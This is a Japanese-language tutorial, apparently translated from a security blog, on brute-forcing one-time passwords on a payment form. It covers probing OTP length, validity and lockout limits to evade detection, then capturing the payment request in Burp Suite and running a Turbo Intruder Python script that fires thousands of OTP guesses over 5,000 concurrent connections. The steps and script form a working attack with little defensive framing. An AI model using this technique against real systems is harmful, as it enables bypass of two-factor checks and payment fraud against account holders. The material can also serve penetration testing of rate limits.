ソース:
脆弱性:OTP
訳:
今日のこの記事では、OTP をバイパスするために使用されている方法とテクニックについて説明し。
ステップ 1: この Web サイト、たとえば example.com に対して攻撃を開始し。
OTP の長さを知っておく必要があって。
OTP の長さは、可能な組み合わせの数に影響して。
たとえば、6 桁の OTP には 1,000,000 通りの組み合わせがあります (000000 ~ 999999)。 長さを知ることは、攻撃者が OTP を推測するために必要な複雑さと試行回数を理解するのに役立ち。
- OTP の有効期間を知っておく必要があり。OTP は通常、30 秒から数分の範囲で短期間有効で。 正確な有効期間を知ることで、攻撃者はより効果的に攻撃のタイミングを計ることができ、アクティブなウィンドウ内で確実に OTP を使用できるようになり。
- 誤った試行の制限を知っておく必要があり : システムは、アカウントを一時的にロックしたり、追加の検証を要求したりする前に、誤った試行の回数を制限することがよくあり。 許可される誤った試行の回数 (たとえば、ロックアウトまでに 3 回の誤った試行) を知ることは、攻撃者が検出とロックアウトを回避するための戦略を計画するのに役立って。
ステップ2:
支払いリクエストをキャプチャして。
- Burp Suite を開き、プロキシ リスナーを開始し。
- Web アプリケーションで支払いアクションを実行し。 これには、支払いフォームに記入して送信することが考えられて。
- Burp Suite はリクエストをインターセプトし。 これは、「HTTP 履歴」セクションの「プロキシ」タブで確認できて。
Turbo Intruder にリクエストを送信し。
- HTTP 履歴でキャプチャされた支払いリクエストを右クリックし。
- 選択する
Extensions > Turbo Intruder > Send to Turbo Intruder
.
Turbo Intruder にリクエストを送信する前に、間違った OTP を入力して。
otp=328129 を otp=%s に置き換えて。
ステップ3: Pythonスクリプトを作成して攻撃を開始する
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5000,
requestsPerConnection=10000,
pipeline=False
)
for number in range(327129,338129):
engine.queue(target.req, number)
def handleResponse(req, interesting):
if req.status != 404:
table.add(req)
ステータスコード、長さ、到着時間、その他のパラメータを確認して。
ほなほな。